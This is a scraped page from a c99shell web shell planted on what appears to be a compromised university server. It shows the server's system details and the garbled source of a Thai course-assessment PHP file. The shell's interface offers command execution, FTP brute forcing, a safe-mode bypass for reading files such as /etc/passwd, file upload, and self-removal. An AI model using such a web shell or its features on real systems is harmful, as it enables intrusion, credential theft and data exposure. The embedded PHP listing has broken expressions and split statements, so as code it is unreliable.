!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/student/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     msgFormHCourseComplete.php (8.53 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsAssessForm.php";

include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsMainExternalPlace.php";
include_once 
"../class/clsSubExternalPlace.php";

sendRequest();

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAF = new AssessForm($oCA);
$oAF->RSAssessFormByAssid($assid);
$oAF->GetRecord();

$oCourse = new CourseAssess($oCA);
$oCourse->SearchByKey($courseId);
$oCourse->GetRecord();

$oOFA = new OfficerAssess($oCA);
$oOFA->SearchByKey($officerId);
$oOFA->GetRecord();

$oDA = new DefineAssessment($oCA);
$oDA->SearchByDefineid($defineid);
$oDA->GetRecord();

$oCIS = new ClassInStructorAssess($oCA);
?> 
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../../source/style.css" rel="stylesheet" type="text/css">
<script type="text/javascript" language="JavaScript">
    function backPageVal(){
        document.MsgForm.submit();
    }
</script><br>
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">   
  <tr> 
    <td width="724">
      <fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="startPageAss.php">เริ่มการประเมิน 
      </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="showFormByCourse.php?studentId=<? echo $studentId ?>&courseId=<? echo $courseId ?>&classId=<? echo $classId ?>&ttId=<? echo $ttId ?>&flag7_mustDo=<?=$flag7_mustDo;?>&flag6_mustDo=<?=$flag6_mustDo;?>&flag8_mustDo=<?=$flag8_mustDo;?>&flag0_mustDo=<?=$flag0_mustDo;?>&flag1_mustDo=<?=$flag1_mustDo;?>&flag5_mustDo=<?=$flag5_mustDo;?>"  onclick="return sendRequest(this);" onmouseover="window.status=''; return true;"> 
      รายการแบบประเมินแยกตามรายวิชาและผู้สอน </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> 
      ทำแบบประเมิน </font> </legend>
      <br>
        <form name="MsgForm" method="post" action = "showFormByCourse.php">    
        <table border="0" align="center" width="648">
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="3"><div align="center"><span class = "fontMark5"> <? echo $oAF->nameAss;  ?> 
                </span></div></td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td width="164" rowspan="5"><div align="center"><img src="../picture/assess.jpg" align="absmiddle"></div></td>
            <td width="2" height="22"> </td>
            <td width="468" class="fontMark4"><img src="../picture/bullet.gif"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><strong> 
              รหัสวิชา :&nbsp;</strong></font><?php echo $oCourse->courseCode?> 
              (<?php echo $oCourse->courseCodeEng?>)</td>
          </tr>
          <tr> 
            <td><div align="left"></div></td>
            <td class="fontMark4"><img src="../picture/bullet.gif">
              <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><strong>รายวิชา&nbsp; 
              :&nbsp;</strong></font><?php echo $oCourse->courseName?> (<?php echo $oCourse->courseNameEng?>)</td>
          </tr>
          <tr> 
            <td height="22" align="center" class="fontMark4">&nbsp;</td>
            <td height="22" class="fontMark4"><font size="2"><b><img src="../picture/bullet.gif"></b></font> 
              <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><strong>กลุ่ม&nbsp; 
              :&nbsp;</strong></font><?php echo $section?></td>
          </tr>
          <tr> 
            <td height="22" align="center" class="fontMark4"></td>
            <td height="22" class="fontMark4">
              <?  if($oDA->flag == || $oDA->flag == 6){  ?>
                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                    <? echo "<img src=\"../picture/users.gif\"  border =\"0\"> <strong>ประเมินภาพรวมรายวิชาโดยมีอาจารย์ผู้สอน :</strong>"?> </font>
                    <? $t=0;
                    
$oCIS->SearchByClassIdGroupOfficerId($classId);
                    while(
$oCIS->GetRecord()){
                        
$oOFA->SearchByKey($oCIS->officerId);
                        
$oOFA->GetRecord();
                        
$tab "\t";
                        
$Teachers[$t] = "อ.".$oOFA->officerName." ".$oOFA->officerSurname;
                        
$t++;
                    }
                    for(
$s=0;$s<$t;$s++){        
                        echo 
$Teachers[$s]; 
                        if(
$s<$t-1){
                            echo 
",&nbsp;&nbsp;";
                        }
                    }
                    if(
$oDA->flag == 6)
                        
$flag6_mustDo=$flag6_mustDo-1;
                    else
                        
$flag5_mustDo=$flag5_mustDo-1;
                }elseif(
$oDA->flag == || $oDA->flag == || $oDA->flag == || $oDA->flag == 8){  ?>
                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                    <? echo "<img src=\"../picture/user.gif\"  border =\"0\" width=\"13\" height=\"13\"> <strong>ประเมินอาจารย์ผู้สอน :</strong>"?>
                    </font>
                    <? $oOFA->SearchByKey($officerId);
                    
$oOFA->GetRecord();
                    echo 
" อ.".$oOFA->officerName." ".$oOFA->officerSurname;
                    if(
$oDA->flag == 0)
                        
$flag0_mustDo $flag0_mustDo-1;
                    elseif(
$oDA->flag == 1)
                        
$flag1_mustDo $flag1_mustDo-1;
                    elseif(
$oDA->flag == 7)
                        
$flag7_mustDo $flag7_mustDo-1;
                    else
                        
$flag8_mustDo $flag8_mustDo-1;
                }elseif(
$oDA->flag == 9){ ?>
                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                    <? echo "<img src=\"../picture/assEp.jpg\"  border =\"0\" width=\"13\" height=\"13\"> <strong>ประเมินแหล่งฝึก :</strong>"?>
                    </font>
<?
                    $oMep 
= new MainExternalPlace($oCA);
                    
$oMep->SearchById($mepId);
                    
$oMep->GetRecord();
                    
$oSep = new SubExternalPlace($oCA);
                    
$oSep->SearchByKey($sepId);
                    
$oSep->GetRecord();
                    echo 
$oSep->sepName.'   '.$oMep->mepName;
                    
$flag9_mustDo $flag9_mustDo-1;
                }
            
?>
            </td>
          </tr>
          <tr> 
            <td colspan="3" align = "center">&nbsp;    </td>
          </tr>
          <tr> 
            <td colspan="3" align = "center">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="3" align = "center"><b><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_7'];?>">! 
              บันทึกการประเมินเรียบร้อยแล้ว ! </font> </b></td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="3"><div align="center"> 
                <input type="button" name="button" value="ตกลง" onClick="backPageVal();">
              </div></td>
          </tr>
          <tr> 
            <td colspan="3"><div align="center"> 
                <input type="hidden" name="studentId" value="<? echo $studentId ?>">
                <input type="hidden" name="classId" value="<? echo $classId ?>">
                <input type="hidden" name="courseId" value="<? echo $courseId ?>">
                <input type="hidden" name="ttId" value="<? echo $ttId ?>">
                <input type="hidden" name="flag6_mustDo" value="<?=$flag6_mustDo ?>">
                <input type="hidden" name="flag7_mustDo" value="<?=$flag7_mustDo?>">
                <input type="hidden" name="flag8_mustDo" value="<?=$flag8_mustDo ?>">
                <input type="hidden" name="flag0_mustDo" value="<?=$flag0_mustDo?>">
                <input type="hidden" name="flag1_mustDo" value="<?=$flag1_mustDo?>">
                <input type="hidden" name="flag5_mustDo" value="<?=$flag5_mustDo ?>">
                <input type="hidden" name="flag9_mustDo" value="<?=$flag9_mustDo ?>">
              </div></td>
          </tr>
          <tr> 
            <td colspan="3"><div align="center"></div></td>
          </tr>
        </table>
</form>
        <br>
      </fieldset>
    </td>
   </tr>
</table>

  <p><br>
  </p>
</table>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--